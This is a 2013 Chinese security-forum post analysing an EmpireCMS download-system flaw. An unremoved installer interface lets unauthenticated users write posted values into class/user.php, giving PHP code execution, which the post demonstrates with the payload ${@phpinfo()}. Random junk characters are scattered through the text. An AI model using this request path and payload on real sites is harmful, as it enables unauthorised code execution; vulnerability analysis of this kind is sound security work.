找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2578|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们6 j* V) h5 l$ }. Z$ e3 j: I
, ^1 j7 ]7 v. z- d8 O" |

; }4 ]# F8 i  T: E& c8 v
这是帝国的一套下载系统 如图! P! G2 I1 L$ |! a' H/ I
ps(不需要任何账户和密码,直接写shell)

& {! w- q2 s9 E0 a) _; u( Q

由于很多站是由于下载要整合discuz 等等一些论坛....
+ z( n5 M+ a: M! l  v2 O


# K6 n. I# D: l  B

而帝国他又有一个万能接口,如图


! f& H8 O" j1 G2 j: l' U: V5 M7 v& p8 V$ U
0 L! F/ J* v2 t; P# k9 U. ?& N3 m

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
- {6 K2 D1 C2 p: ~4 J# G# o0 c% J# e7 G) X9 B& h, [
当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
! {) N8 Q9 Q* T& t$ B* I9 F
$ ]3 r. a! R/ F" ?5 r3 ]( X) a在data/fun.php中的15行7 O( z; d' z3 c4 ~8 w* s
' @$ w& ]0 `: M! M5 |
我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {4 {  P0 [1 ?; {5 n# D6 ]
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干. D4 h1 }) M8 _; X
  j% q; z  e  j) A
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);6 R  _- v9 {3 [9 Y

0 [: Q/ j3 t% f. f* e2 y他将传进来的变量进行了切割,然后赋给了$filetext
8 j7 g& g) U9 y1 v' p! l4 x0 Z+ `+ g0 D" R) o6 y
然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了
0 O( g7 _1 ]9 U1 v
7 F" T  F/ x& C+ k我们看看写入的结果,随便填一个


4 q4 g6 D2 j7 Z: D2 Q6 a/ Q9 v: r& d% }1 _% E: i

9 \2 ?7 B" [6 z  w. A. M- F* h8 W
4 g" R9 n# A, t! M
0 ~* t8 Y. R+ g: o. C

: c: b/ y" _: ^! m2 P( D/ k" t2 J$ u& r
+ Z# n: n! d: J
3 g' ?: K# }! E' l9 s2 r% r6 g
" K7 M* B# c" d0 B

$ F$ L5 [7 i9 T8 \; ~* V

8 ]7 @3 J2 [& g( U* v3 t: T, ~  i$ c
/ b, W; X+ O- P3 _# X5 `/ x2 v* |) ^  R  x8 z6 c* Z* e, }; z& S
$ u4 y% b3 c/ ]8 E% e( S2 [' b  D: k

1 A, Z) @! G% X+ _* M/ b4 d
" K6 z* U/ {+ q3 _6 w" H) h* b" p& }* S& W7 c

5 S; G0 H  p- S/ p4 s, k. ]: u" q. [" [
2 L# s) q! n2 A. n8 ]8 d0 o

3 U" N' A4 m; _! s( G( r9 \! ~. P+ Y* Z0 _! ]  w+ r

所以我们淫荡点,写个${@phpinfo()}试试

! t5 a2 e/ U' h: w

然后访问以下class/user.php这个文件; j' D+ P+ G* u: k, @( l* n# N
日了吧

8 T1 y" s9 k" ~# V9 Y6 I1 b
" A, c4 `- [# q1 a" p
5 u( o- i1 e, W7 _2 j
1 Q6 @8 {) [; [
6 G* F- }, Q) f# r# }0 w
& G# e% C1 g& O1 g

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表